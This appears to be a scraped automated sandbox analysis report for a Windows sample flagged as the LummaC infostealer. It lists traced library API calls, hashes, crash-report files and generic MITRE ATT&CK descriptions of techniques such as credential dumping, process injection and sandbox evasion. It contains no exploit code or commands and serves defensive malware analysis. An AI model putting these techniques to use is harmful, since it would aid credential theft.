Instruction Fuzzy Hash: 49F0A436200600AFDF205F72DC09E2B7BADEF44361714842AF959D2121DB75EC14CB58

Function 0045BD08 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00455523,00000000,00000000,00000000,?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000), ref: 0045BD1F
GetLastError.KERNEL32(?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000,?,?,?,00450492,00443CFB), ref: 0045BD2B

Part of subcall function 0045BD7C: CloseHandle.KERNEL32(FFFFFFFE,0045BD3B,?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000,?,?), ref: 0045BD8C

___initconout.LIBCMT ref: 0045BD3B

Part of subcall function 0045BD5D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0045BCF9,00459F57,?,?,00450B47,?,00455523,00000000,?), ref: 0045BD70

WriteConsoleW.KERNEL32(00000000,00455523,00000000,00000000,?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000,?), ref: 0045BD50

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c2a2ecc1c2a42e22a3f830c2b4be3aaf5d7a6f5fb3480db1df2f59ef4a2b949f
Instruction ID: a34e4e029ef2e4d5dd3ba3bcd054cc3c3a598788143b8b19420d5231d0b345e8
Opcode Fuzzy Hash: c2a2ecc1c2a42e22a3f830c2b4be3aaf5d7a6f5fb3480db1df2f59ef4a2b949f
Instruction Fuzzy Hash: 0CF0F836140119BBCF221F959C08ADA3F3AEF493A1F044021FE09D5171D7B28864ABD9

Function 0045962F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 004598A6

Strings

csm, xrefs: 00459939
csm, xrefs: 004598C8

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 2ddf6b46ba9927e19a1a0e06cd3d58e98e189ea3bbd4e4ea7d064f6212a0d210
Instruction ID: 4df6c2a030d07bf616ce91cf83237d0554f1a363a859cf179326f8a266afaebb
Opcode Fuzzy Hash: 2ddf6b46ba9927e19a1a0e06cd3d58e98e189ea3bbd4e4ea7d064f6212a0d210
Instruction Fuzzy Hash: 0E31C4B6400219EBCF269F51CC4096A7B65FF0A716B18419FFC5449323C73ACC66DB8A

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report g1kWKm20Z5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_g1kWKm20Z5.exe_a17a8fe720c9a7565be7f83fdfcc5dd30f1751_239bb738_1ece0bb0-e076-4511-a73b-9cacc3992694\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD8D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE39.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE5A.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
g1kWKm20Z5.exe

Function 00405AAA Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 448
stringCOMMON

Function 0040620B Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 445
stringCOMMON

Function 0042B9C5 Relevance: 16.7, Strings: 13, Instructions: 436
COMMON

Function 0040A928 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 475
stringCOMMON

Function 0042FD35 Relevance: 14.1, Strings: 11, Instructions: 308
COMMON

Function 004262A1 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 391
libraryCOMMON

Function 0040B129 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375
nativefileCOMMON